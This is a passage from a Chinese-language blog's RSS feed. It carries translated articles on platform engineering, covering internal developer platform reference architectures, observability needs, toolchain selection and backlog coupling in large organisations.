&lt;li&gt;&lt;strong&gt;请求&lt;/strong&gt;：执行请求内容，例如构建模块、拉取制品、使用内外部策略进行验证等，最终完成资源发放&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发放&lt;/strong&gt;：发放缺失的基础设施&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置&lt;/strong&gt;：配置可观测性资源&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收集&lt;/strong&gt;：根据配置读取指标和跟踪数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应&lt;/strong&gt;：将提供者请求的完成情况提发放 CI/CD 平台，以便进行后续处理和/或移交给外部系统，进行安全扫描或集成测试等。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/06-01.png&#34; alt=&#34;06-01&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;可观测性需求列表&#34;&gt;可观测性需求列表&lt;/h3&gt;

&lt;p&gt;企业级的可观测性需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;实时的问题和异常检测&lt;/li&gt;
&lt;li&gt;跨越多个控制平面和环境的自动发现和集成&lt;/li&gt;
&lt;li&gt;精准的告警、跟踪、日志和监控&lt;/li&gt;
&lt;li&gt;高阶分析&lt;/li&gt;
&lt;li&gt;标记、标签和数据模型治理&lt;/li&gt;
&lt;li&gt;可观测性即代码&lt;/li&gt;
&lt;li&gt;多云和混合环境下的弹性和性能&lt;/li&gt;
&lt;li&gt;安全、隐私以及 RBAC 保障下的自服务可视化、配置和报告&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HashiCorp 合作伙伴的可观测性方案&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/partners/tech/datadog#all&#34; target=&#34;_blank&#34;&gt;HashiCorp observability partner: Datadog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/partners/tech/splunk#all&#34; target=&#34;_blank&#34;&gt;HashiCorp observability partner: Splunk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/partners/tech/nr#all&#34; target=&#34;_blank&#34;&gt;HashiCorp observability partner: New Relic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.hashicorp.com/partners/tech/honeycomb#all&#34; target=&#34;_blank&#34;&gt;HashiCorp observability partner: Honeycomb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;下一步和技术选择的标准&#34;&gt;下一步和技术选择的标准&lt;/h2&gt;

&lt;p&gt;平台建设永远不会完全完成。它不是一个事先计划好的项目，在每个人签署并开始使用后就结束了。它更像是一个迭代的敏捷开发项目，而不是传统的瀑布式开发项目。&lt;/p&gt;

&lt;p&gt;平台工程可以从最小可行产品（MVP）开始，然后把平台推向组织市场。向团队展示该平台的常见模式和最佳实践如何能使团队从中受益，并适用于整个开发生命周期。与各个团队共同进行流程分析（当前状态对比未来状态），以便共同努力并理解采纳的好处可能会产生积极效果。最后，简化新员工上手过程是至关重要的。&lt;/p&gt;

&lt;p&gt;选择上述，平台团队应该采取用户体验设计师的思维方式。调查各个团队的需求和期望之后，可能会发现，只有 80% 至 90% 的需求能被满足。有些工作流程太复杂或独特，无法纳入平台中。无法讨好每个人。工具链选择应该是一个跨职能过程，并且在一开始就需要高层支持来推动采用。&lt;/p&gt;

&lt;h3 id=&#34;关键工具链的问题列表&#34;&gt;关键工具链的问题列表&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;实践者意见：您是否从询问开发人员对哪些技术感兴趣开始？这些技术能否快速支持业务？他们想学习什么，市场上是否普遍存在这种技能？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;规模：该工具能否满足企业的期望，包括性能、安全/合规性和易于采用？您可以向同行机构学习，而不是冒险进入未知领域吗？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;支持：所选解决方案是否得到组织的支持，以满足核心关键基础设施（24/7/365）的服务级别协议，并满足客户的可用性期望？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;长期稳定性：这些解决方案供应商财务状况良好且有能力长期支持这些基本支柱和核心基础设施吗？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;开发人员灵活性：这些解决方案提供灵活接口（GUI、CLI、API、SDK），以创建个性化用户体验吗？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;文档资料：这些解决方案提供全面且最新的文档资料吗？&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;生态系统集成：是否有可扩展的生态系统集成来与其他工具（如安全或数据仓储解决方案）紧密连接？&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>构建企业 IDP 最小可行性产品的黄金路径</title>
      <link>/post/golden-path-to-build-an-mvp-enterprise-idp/</link>
      <pubDate>Sat, 04 Nov 2023 12:39:09 +0800</pubDate>
      <guid>/post/golden-path-to-build-an-mvp-enterprise-idp/</guid>
      <description>

&lt;p&gt;&lt;strong&gt;原文&lt;/strong&gt;：&lt;a href=&#34;https://thenewstack.io/heres-one-golden-path-to-build-an-mvp-enterprise-idp/&#34; target=&#34;_blank&#34;&gt;Here’s One Golden Path to Build an MVP Enterprise IDP&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;作者&lt;/strong&gt;：&lt;a href=&#34;https://thenewstack.io/author/charles-humble/&#34; target=&#34;_blank&#34;&gt;Charles Humble&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;借助 Humanitec 最近发布的开源参考架构实施方案，企业平台团队可以快速创建内部开发人员平台。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;最近不管参加什么技术会议，八成会看到一张看起来无所不能的&lt;a href=&#34;https://cncf.io/?utm_content=inline-mention&#34; target=&#34;_blank&#34;&gt;云原生全景图&lt;/a&gt;，这张大图说明，现代软件开发的复杂度，已经让人略有不适了。&lt;/p&gt;

&lt;p&gt;当然这张大图也显示了 Kubernetes 的成功，以及&lt;a href=&#34;https://thenewstack.io/cloud-native/&#34; target=&#34;_blank&#34;&gt;云原生领域&lt;/a&gt;的创新，但是工具的&lt;a href=&#34;https://thenewstack.io/how-to-tackle-tool-sprawl-before-it-becomes-tool-hell/&#34; target=&#34;_blank&#34;&gt;无序扩张&lt;/a&gt;，受影响的可不只是应用程序开发团队。&lt;/p&gt;

&lt;p&gt;平台工程公司 Syntasso 的联合创始人兼首席运营官 &lt;a href=&#34;https://www.linkedin.com/in/paulalkennedy/&#34; target=&#34;_blank&#34;&gt;Paula Kennedy&lt;/a&gt; 告诉 The New Stack：“我认为，平台团队和应用团队一样，都很难弄清楚自己的工具集应该是什么。”“因为&lt;a href=&#34;https://thenewstack.io/platform-engineering/&#34; target=&#34;_blank&#34;&gt;平台工程&lt;/a&gt;作为是一种对实践的定义，因此其确定性更差，构成也更不清晰，所以在这方面，平台工程的问题也更大。”&lt;/p&gt;

&lt;p&gt;除此之外，至少根据我个人的经验，起初，平台可能会自发形成。一个开发人员为自己构建一个工具，因为事实证明这个工具很有用，就分享给团队中的其他人。这种方法在初期是很有效的。但随着开发人员数量的增加，这种方法就会出现问题，因为正如 Kennedy 所说，“如果没有系统化思维的思维和主动的架构设计，那么就只能野蛮生长”。&lt;/p&gt;

&lt;p&gt;到了一定程度，企业可能会发现这种方式不再适合自己，于是可能会寻求分拆出一个集中式的平台团队，试图以更完善的方式，让开发人员能够更快地入职，更快地交付。但是，应该如何开始组件平台团队呢？&lt;/p&gt;

&lt;p&gt;显然，你需要与应用程序开发人员沟通，了解他们的需求和痛点，然后构建一个能解决这些问题的解决方案——可是解决方案如何选择合适的工具和组件呢？&lt;/p&gt;

&lt;p&gt;Kennedy 说：“在CNCF的环境下，无处不在的 &lt;a href=&#34;https://thenewstack.io/kubernetes/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 结构是让一切变得更容易的原因之一；CNCF 上的所有东西都是以&lt;a href=&#34;https://thenewstack.io/what-are-cloud-native-patterns-and-how-should-you-use-them/&#34; target=&#34;_blank&#34;&gt;云原生模式&lt;/a&gt;为基础构建的。而如果你所在的平台团队正在处理一些传统大型机，再加上一些云原生和其他一些东西，你的工具集可能是任何东西，并有一大堆不同的原则作为其核心。”&lt;/p&gt;

&lt;p&gt;为了改善这种情况，Humanitec 发布了一系列&lt;a href=&#34;https://humanitec.com/reference-architectures&#34; target=&#34;_blank&#34;&gt;白皮书&lt;/a&gt;和内部开发人员平台 (IDP) &lt;a href=&#34;https://github.com/humanitec-architecture&#34; target=&#34;_blank&#34;&gt;参考架构的开源实现&lt;/a&gt;。这些内容结合在一起，为企业平台团队提供了一种方法，使其能够快速启动并运行新平台的&lt;a href=&#34;https://thenewstack.io/building-an-minimum-viable-product-a-founders-guide-to-success/&#34; target=&#34;_blank&#34;&gt;最小可行产品（MVP）版本&lt;/a&gt;。参考架构本身基于麦肯锡的研究成果。&lt;/p&gt;

&lt;h2 id=&#34;内部开发人员平台模式&#34;&gt;内部开发人员平台模式&lt;/h2&gt;

&lt;p&gt;在 6 月份的 &lt;a href=&#34;https://platformcon.com/&#34; target=&#34;_blank&#34;&gt;PlatformCon&lt;/a&gt; 上，麦肯锡数字专家合伙人 &lt;a href=&#34;https://www.linkedin.com/in/stephanschneider2/&#34; target=&#34;_blank&#34;&gt;Stephan Schneider&lt;/a&gt; 和该公司的高级 DevOps 工程师 &lt;a href=&#34;https://www.linkedin.com/in/mjgatto/&#34; target=&#34;_blank&#34;&gt;Mike Gatto&lt;/a&gt; 发表了&lt;a href=&#34;https://www.youtube.com/watch?v=AimSwK8Mw-U&#34; target=&#34;_blank&#34;&gt;演讲&lt;/a&gt;，介绍了他们如何根据对多个组织的分析，确定了一套内部开发者平台的通用模式。&lt;/p&gt;

&lt;p&gt;麦肯锡就是麦肯锡，该报告的重点是面向企业而不是小型组织。在平台的背景下，这是说得通的，因为对平台的一种定义就是在企业规模上使 &lt;a href=&#34;https://thenewstack.io/devops/&#34; target=&#34;_blank&#34;&gt;DevOps&lt;/a&gt; 实践发挥作用的一种尝试。&lt;/p&gt;

&lt;p&gt;如下图所示，麦肯锡建议的架构使用了许多现成的组件，包括开发人员门户构建工具 &lt;a href=&#34;https://backstage.io/&#34; target=&#34;_blank&#34;&gt;Backstage&lt;/a&gt;、GitHub、Terraform 和 &lt;a href=&#34;https://humanitec.com/?utm_content=inline-mention&#34; target=&#34;_blank&#34;&gt;Humanitec&lt;/a&gt; 的&lt;a href=&#34;https://humanitec.com/products/platform-orchestrator&#34; target=&#34;_blank&#34;&gt;平台编排器&lt;/a&gt;，以及云提供商（本例中为 AWS）提供的组件。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/f3446ae0-idp-aws-graphic1-1.png&#34; alt=&#34;mxk&#34; /&gt;&lt;/p&gt;

&lt;p&gt;麦肯锡的蓝图将开发者平台分为五个平面，每个平面都有一套相关的能力，如上图白色方框所示的可观察性和网络化。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;开发人员控制平面：是开发人员发布代码并通过自己选择的界面访问平台的地方。它包括版本控制、集成开发人员环境、基础架构即代码和开发人员门户（如 Backstage）。除代码外，开发者还提供一个 &lt;a href=&#34;https://score.dev/&#34; target=&#34;_blank&#34;&gt;Score&lt;/a&gt; 工作负载规范文件。这是一个 YAML 配置文件，指定了以与环境无关的方式运行应用程序所需的资源。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;集成和交付平台获取应用程序代码，将其打包到一个或多个&lt;a href=&#34;https://thenewstack.io/containers/&#34; target=&#34;_blank&#34;&gt;容器&lt;/a&gt;中，然后将其发布到亚马逊 ECR 等注册表中。一旦完成，CI 管道就会将注册表中的新工件通知平台协调器（麦肯锡使用 Humanitec 进行此操作），并启动构建。协调器会在部署前生成新的应用程序和基础架构配置文件和清单。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;资源平面包括运行应用程序所需的资源。这可能包括计算（例如 Amazon EKS）；如果还没有 Kubernetes 集群，则构建 Kubernetes 集群；数据（例如 Amazon RDS、MySQL 等）；网络（例如 Amazon Route 53）；以及服务（例如 Amazon SQS）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;监控和日志记录交给云提供商，在我们的 AWS 示例中使用的是 Amazon Cloud Watch。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;最后，安全管理机密和身份，以保护敏感信息（参考架构中使用了 &lt;a href=&#34;https://www.hashicorp.com/?utm_content=inline-mention&#34; target=&#34;_blank&#34;&gt;HashiCorp&lt;/a&gt; &lt;a href=&#34;https://developer.hashicorp.com/vault&#34; target=&#34;_blank&#34;&gt;Vault&lt;/a&gt;）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;由于平台编排器在蓝图中起着核心作用，因此值得对其进行更详细的了解。下图描述了其核心功能：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/58f8021b-idp-aws-how-it-works-1.png&#34; alt=&#34;ss&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每一次 Git 推送，平台编排器就会解读工作负载运行所需的资源和配置，根据平台团队定义的规则创建应用程序和基础架构配置，并执行这些配置。Humanitec 用“读取、匹配、创建、部署”的执行模式来进行平台编排：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;读取：解释工作负载规格（也就是 Score 文件和上下文）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;匹配：识别正确的配置基线以创建应用程序配置，并根据匹配的上下文识别需要解决或创建的资源。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建：创建应用程序配置；必要时创建（基础架构）资源；并获取证书，将用 Secret 的形式注入给应用程序。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;部署：将工作负载部署到与其依赖关系相连的目标环境中。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;idp-的开源蓝图&#34;&gt;IDP 的开源蓝图&lt;/h2&gt;

&lt;p&gt;麦肯锡的参考架构在 PlatformCon 上引起了很大反响，因此，受其启发，Humanitec 编写了几份&lt;a href=&#34;https://humanitec.com/reference-architectures&#34; target=&#34;_blank&#34;&gt;白皮书&lt;/a&gt;，为构建内部开发人员平台提供参考架构蓝图，不仅有 AWS 版本，还有 Google Cloud Platform 和 &lt;a href=&#34;https://news.microsoft.com/?utm_content=inline-mention&#34; target=&#34;_blank&#34;&gt;Microsoft Azure&lt;/a&gt; 的版本。&lt;/p&gt;

&lt;p&gt;麦肯锡的参考架构引起了很大反响，因此，受其启发，Humanitec 发布了参考架构开源实施系列的第一个版本，由一组 Terraform 配置组成，能够&lt;a href=&#34;https://github.com/humanitec-architecture&#34; target=&#34;_blank&#34;&gt;在 AWS 和 GCP 上部署蓝图&lt;/a&gt;示例。AWS 版本包括 Backstage（如上图所示），并计划逐步增加 Azure 和多云实施的示例。&lt;/p&gt;

&lt;p&gt;这为平台团队提供了一种方法，可以快速为内部开发人员平台开发出企业级最小可行产品（MVP），同时也为 Humanitec 平台编排器的试运行提供了便利。&lt;/p&gt;

&lt;p&gt;Humanitec 产品经理 &lt;a href=&#34;https://thenewstack.io/author/luca-galante/&#34; target=&#34;_blank&#34;&gt;Luca Galante&lt;/a&gt;告诉 The New Stack：“社区对参考架构的反响令人难以置信。”我们在前几周就有了 1 万次下载，这充分说明了业界对清晰蓝图和设计模式的需求。&lt;/p&gt;

&lt;p&gt;当然，您也可以随意更换组件，包括 Humanitec 本身。回想一下图中的平面和功能，“平面很重要，因为它们提供了方向并奠定了基础，而功能也很重要”Humanitec 的平台架构师 &lt;a href=&#34;https://www.linkedin.com/in/cjuette/&#34; target=&#34;_blank&#34;&gt;Clemens Jütte&lt;/a&gt; 告诉 The New Stack。“你肯定希望拥有图上的所有功能，我们从未见过没有这些功能的平台。但方框内的标识并不重要。你可以挑挑拣拣，开始迭代，建立你想要的 IDP。&lt;/p&gt;

&lt;h2 id=&#34;黄金之路-不是黄金囚笼&#34;&gt;黄金之路，不是黄金囚笼&lt;/h2&gt;

&lt;p&gt;企业面临的另一个挑战是，他们很可能已经有了一些不愿放弃的流程和工具，而且不同的团队有不同的需求。因此，灵活性也是很重要的&lt;/p&gt;

&lt;p&gt;同样，强迫开发人员使用某个特定的平台也是不明智的&amp;ndash;某个特定的团队或小组可能有充分的理由，在既定路线之外做事情。如果强制性的工具阻碍了开发人员完成他们的工作，也会出现影子 IT 实践。更好的做法是，尽可能让平台对应用程序开发人员具有吸引力，这样他们在任何情况下都会优先选择适合自己的平台。&lt;/p&gt;

&lt;p&gt;加拿大金融公司 Nesto 的 DevOps 总监 &lt;a href=&#34;https://www.linkedin.com/in/mathieu-frenette-3428737?originalSubdomain=ca&#34; target=&#34;_blank&#34;&gt;Mathieu Frenette&lt;/a&gt;说，“我们谈论的是黄金路径，而不是黄金牢笼” 而 Kennedy 说：“我非常喜欢这种说法，因为这有助于我思考这样一个事实，即开发人员需要有一条简单的道路；他们需要有一个模板，帮助他们快速上手，但他们也还保有打破他的权利。”&lt;/p&gt;

&lt;p&gt;“平台团队需要能够通过抽象提供简单性，同时在需要时提供灵活性。”&lt;/p&gt;

&lt;p&gt;Galante 认为，“目前还没有一个平台能够保留我的 Terraform 设置，保留我的基础设施和 CI 管道，但我可以以一种更强大的方式将它们粘合在一起，从而获得内部开发者平台所承诺的所有好处。”&lt;/p&gt;

&lt;p&gt;虽然各组织实施 IDP 的情况大不相同，但这一&lt;a href=&#34;https://github.com/humanitec-architecture&#34; target=&#34;_blank&#34;&gt;参考架构&lt;/a&gt;可以作为一个有用的起点。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>我说的平台工程是什么</title>
      <link>/post/talk-about-platforms/</link>
      <pubDate>Sat, 21 Oct 2023 00:59:17 +0800</pubDate>
      <guid>/post/talk-about-platforms/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://martinfowler.com/articles/talk-about-platforms.html&#34; target=&#34;_blank&#34;&gt;What I Talk About When I Talk About Platforms&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/evanbottcher&#34; target=&#34;_blank&#34;&gt;Evan Bottcher&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;为什么一个有效的数字平台可以帮助您扩大交付规模，它应该包含哪些内容，以及如何开始建立一个数字平台。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;如今，每个人都在建立一个“平台”，以加快数字产品的大规模交付。但什么样的平台才是有效的数字平台呢？一些组织试图在现有共享服务的基础上进行平台建设时，因为没有解决组织结构和运营模式的问题，最终陷入困境。&lt;/p&gt;

&lt;p&gt;“平台”到底是什么？&lt;/p&gt;

&lt;p&gt;“平台”是个含糊不清的词，但对于提高大规模交付速度和效率而言，它却极其重要。因此，本文的标题就是我最近一直在谈论的“平台”。&lt;/p&gt;

&lt;p&gt;满世界都是各种软硬件平台的定义，一般都是描述一种运行环境，在此环境上可以执行应用程序，并提供文件系统和安全等可重复使用的功能。&lt;/p&gt;

&lt;p&gt;放大到组织层面，“数字平台”也具有类似的特征——团队在可重复使用的功能支持下，建立一个操作环境，从而更快地向客户提供产品功能。&lt;/p&gt;

&lt;p&gt;数字平台是自助式 API、工具、服务、知识和支持的基础，是一种引人注目的内部产品。凭借平台的支持，自主交付团队能用更少的协调成本，更快地交付产品功能。&lt;/p&gt;

&lt;p&gt;在 Thoughtworks，我们开发了一个包含五大平台能力支柱的模型。这些能力包括基础设施交付、应用程序接口和架构修复、自助服务数据、实验基础设施和客户接触点技术。通过全球验证之后，我们认为这些是值得投资的重要共享能力，这些能力能够帮助构建数字化组织。&lt;/p&gt;

&lt;p&gt;本文的重点是我们归类为交付基础架构的平台功能，包括云托管和 DevOps 工具，尽管这些定义特征同样适用于其他平台功能。&lt;/p&gt;

&lt;h2 id=&#34;非平台&#34;&gt;非平台&lt;/h2&gt;

&lt;p&gt;几年前，我受聘为澳大利亚一家大型金融服务机构提供咨询。我们称他们为 BigCo。到达现场后，我的第一个目标是了解应用基础架构、托管和运维领域的情况。为了真正了解挑战所在，我们决定通过工作系统跟踪一个真正的变更，看看这里的行为方式。&lt;/p&gt;

&lt;p&gt;尽管 BigCo 在云计算和自动化方面进行了大量投资，但在基础设施和运维领域仍保留了传统的团队安排。团队按照技术能力划分。我们跟踪了几个典型的变更，每个变更都涉及多个团队。例如由“中间件”负责更改应用服务器配置。但是，中间件团队无法访问底层操作系统配置，这属于“中段”团队的职责。数据库变更必须由 DBA 团队进行。网络变更必须通过网络团队完成。托管服务提供商进行负载均衡的变更，而防火墙的变更则是另一家提供商的任务。此外，还有一个独立的自动化团队，他们拥有一些自动化能力&amp;ndash;主要限于协调。当然，还有独立的企业监控、安全、变更和发布管理团队。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/silos.png&#34; alt=&#34;images/silos.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图 1：将高度专业化的基础设施团队和运维团队分开&lt;/p&gt;

&lt;p&gt;BigCo 的每个团队都有自己的管理结构和工作方式。每个团队都在自己的技术领域实现高效管理、集中专业化、无差异外包能力、实施管理和降低成本。然而，在 BigCo 公司，为客户提供端到端功能的效率却无人负责。&lt;/p&gt;

&lt;p&gt;涉及基础设施的小改动需要花费数周到数月不等的时间，这对客户响应速度造成了巨大影响。影响很大，但这还不是全部。我们注意到，当变革艰难而缓慢时，变革过程中的任何失败都会导致进一步的延误。因此工程师和管理人员会尽可能减少变更次数，只对应用程序和基础设施进行绝对必要的变更。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/silos-impact.png&#34; alt=&#34;silo impact&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图 2：应用程序交付团队所需的更改需要数周或数月时间&lt;/p&gt;

&lt;p&gt;很明显，这会导致应用程序和基础架构的内部质量逐渐下降——环境和配置设置中随处可见许多不一致的地方。团队已经停止了能够保持或提高质量和一致性的微小改进和重构。这种情况在实践中会自我强化：由于质量会影响可预测性，从而增加变更风险，因此团队会变得更加谨慎，改进工作也会变得更加困难。&lt;/p&gt;

&lt;p&gt;因此，总而言之：在 BigCo，基础设施和托管事务的处理缓慢而又困难。&lt;/p&gt;

&lt;h3 id=&#34;backlog-耦合的后果&#34;&gt;Backlog 耦合的后果&lt;/h3&gt;

&lt;p&gt;数字化渠道一直是敏捷软件交付的法宝，小型自主团队与业务领导者密切合作，确定客户需求并构建满足这些需求的功能。然而，数字产品团队的速度越快、反应越灵敏，所受到的外部限制就越大。&lt;/p&gt;

&lt;p&gt;数字团队受到几个方面的限制：核心系统进化缓慢、无法获取高质量数据和分析结果，基础设施和运维难于共享。&lt;/p&gt;

&lt;p&gt;我称其为 Backlog 耦合，Backlog 是敏捷交付团队经常使用的一种规划工具。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/backlog-coupling.png&#34; alt=&#34;backlog&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图 3：当变更与多个团队的工作队列存在依赖关系时，就会发生 Backlog 耦合的情况&lt;/p&gt;

&lt;p&gt;这概念很简单，一个工作队列中的的大量项目需要另一个团队提出相应的 Backlog 项目，那么生产率和响应速度就会大打折扣。Backlog 项目会在整个组织内串联起来，每个项目都根据不同的系统确定优先级。在看板上给任务贴上大红“阻塞”标签，利益相关者生气，共享服务提供商会尽力根据反馈音量做出反应。&lt;/p&gt;

&lt;p&gt;Backlog 耦合能糟糕到什么程度？在澳大利亚的一家电信公司，我的同事对通过交付中心的数百件工作或任务进行了研究。有些任务可以由一个团队完成，无需依赖其他团队，特别是无需安排其他团队成员的工作。而那些需要等待其他团队完成的任务，耗时则要慢 10-12 倍。因此，依赖性确实会产生重大影响。&lt;/p&gt;

&lt;p&gt;这种情况对我们造成了多种伤害：它损害了纯粹的吞吐量和对客户需求的响应速度，促使我们进行更长期的规划，从而有效地管理依赖关系。它还会损害团队自身对结果的责任感，据我观察，这对许多团队来说都是动力杀手。团队趋向于推卸责任，不再寻求自身的持续改进。&lt;/p&gt;

&lt;p&gt;在一个超负荷团队中，为众多吵闹的内部客户提供服务，也没有什么乐趣可言。&lt;/p&gt;

&lt;p&gt;最近的“扩展敏捷（Scaling Agile）” 试图通过一种方式来解决这个问题-引入规划仪式，试图在多个团队之间协调优先事项。很显然这种方式能够提高一致性但是降低了整体的自主性、反应能力和应对变化的能力。这不可能是唯一的方法。&lt;/p&gt;

&lt;p&gt;因此，能够减少 Backlog 耦合的平台是好的。平台提供的服务必须不需要工单和分配工作。自助服务是优秀平台的一个关键定义特征。&lt;/p&gt;

&lt;p&gt;平台应该团队提供自助式访问。具体来说，用户能够自助在平台上自助完成供给、配置、管理和运维。&lt;/p&gt;

&lt;h2 id=&#34;半吊子私有云&#34;&gt;半吊子私有云&lt;/h2&gt;

&lt;p&gt;BigCo 意识到自助服务的必要性，但是这个大型基础架构和运维组织中，传统基础架构和思维方式根深蒂固，要实现这一目标谈何容易。公司已经在集中自动化工具方面进行了投资，因此首先要做的是为应用交付团队创建自助服务能力，以便自助配置基础设施。&lt;/p&gt;

&lt;p&gt;BigCo 构建了一个自助工具，允许交付团队根据非常固定的模板申购计算实例。配置的虚拟机实例在配置上是固定的，并被安全锁定，以确保中端团队对机群的控制。要实例进行一些有用的操作，例如安装软件包、连接网络、附加存储、配置负载均衡、配置监控工具或其他任何操作，交付团队都需要发出工单。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/superficial-private-cloud.png&#34; alt=&#34;superficial&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图 4：BigCo 在不改变应用程序和基础架构运行方式的基础上，构建了一个基本的自助服务应用程序接口。结果并没有明显改变交付速度。&lt;/p&gt;

&lt;p&gt;你可以将这种情况归咎于首次迭代，这的确是个问题，但是这中间也有明显的取向问题。BigCo 的基础设施和运维团队还没有准备好打破自己的组织孤岛，将重要责任（以及访问权）转移给交付团队。而且，即使意图是好的，但要逐步将应用程序接口构建到所需的丰富程度，这个过程需要的巨大工作量也是难于承受的。&lt;/p&gt;

&lt;p&gt;我们将这种方法称为“肤浅的私有云”——将现有的虚拟化平台重新贴上标签，供交付团队以非常受限的方式使用，并没有减少集中控制的真正意图。&lt;/p&gt;

&lt;p&gt;与此同时，BigCo 公司的交付团队也在努力，他们解锁了在生产系统中直接使用 AWS 的能力。一旦有了这样的先例，交付团队纷纷加入了 AWS 的用户行列。&lt;/p&gt;

&lt;p&gt;对于交付团队的直接消费而言，AWS 是一个极具吸引力的平台：它完全是自助式的，而且责任分工明确。谁构建、谁运行变成了口头禅。AWS 建设和运营平台以及 API，并确保其高度可用；应用程序交付团队则构建、配置并运行平台上的应用程序。&lt;/p&gt;

&lt;h2 id=&#34;故事到此为止&#34;&gt;故事到此为止？&lt;/h2&gt;

&lt;h3 id=&#34;自主加快上市速度-提高创新能力&#34;&gt;自主加快上市速度，提高创新能力&lt;/h3&gt;

&lt;p&gt;我遇到的大多数组织都有一个“为复用而构建”的默认思维：在规避风险和降低成本的双重驱动下的中心化趋势。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/autonomy-vs-centralised.png&#34; alt=&#34;centralised&#34; /&gt;&lt;/p&gt;

&lt;p&gt;图 5：大多数组织默认通过集中方式来提高成本效益&lt;/p&gt;

&lt;p&gt;在过去的几年里，我有幸成为澳大利亚（和全球）一家大型技术公司的技术领导团队的一员，这家公司拥有庞大的在线业务，我们姑且称其为 WebBiz。该公司拥有数百名工程师，规模庞大，面临着许多与 BigCo 相同的挑战，在基础设施、应用程序和数据方面都有不小的遗留问题，但 WebBiz 又小到足以见证快速的变化和改进。&lt;/p&gt;

&lt;p&gt;我在 WebBiz 工作期间，我们开始了一项长达数年的迁移工作，原本在租赁数据中心的虚拟化平台上部署的大多数应用程序，被迁移到 AWS 这个新的默认部署目标。我们还将应用程序和（大部分）基础设施的构建和运行责任转移给了产品团队，这是我所见过的从传统中央运维到开发运维的最彻底转变。我相信，以“谁构建谁运行”的思维模式来创建一个小型组织其实并不难，但实现转型需要勇气和持续的愿景。WebBiz 在这方面做得很好。&lt;/p&gt;

&lt;p&gt;作为迁移的一部分，WebBiz 的产品团队能够完全自主地配置和运行堆栈的每个部分。这种方法被命名为“团队管理基础设施”&amp;ndash;虽然在早期建立了一些默认设置，但每个团队都可以在几乎没有中央授权的情况下，自行决定堆栈的每个部分。&lt;/p&gt;

&lt;p&gt;WebBiz 成功让组织更倾向于技术多样化和发明。这提高了员工的参与度，让工程师在技术堆栈中获得更深层次的经验，推动了发明创造，迅速确立了对部署内容（应用和业务）的响应水平，并消除了团队的大部分依赖关系。同时，这也吸引了那些对自己的工作负责、对自主性反应良好、对解决棘手的业务和技术问题感兴趣的工程师到 WebBiz 工作。&lt;/p&gt;

&lt;h3 id=&#34;技术多样化增加阻力&#34;&gt;技术多样化增加阻力&lt;/h3&gt;

&lt;p&gt;然而，尽管好处多多，转向完全自主还是要付出一定代价的。通过采用 AWS 作为平台，WebBiz 消除了与集中式基础设施团队的 Backlog 耦合。然而，WebBiz 的每个团队现在都不得不围绕构建和运营基础设施的各个方面做出一系列决策。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cncf.png&#34; alt=&#34;cncf&#34; /&gt;&lt;/p&gt;

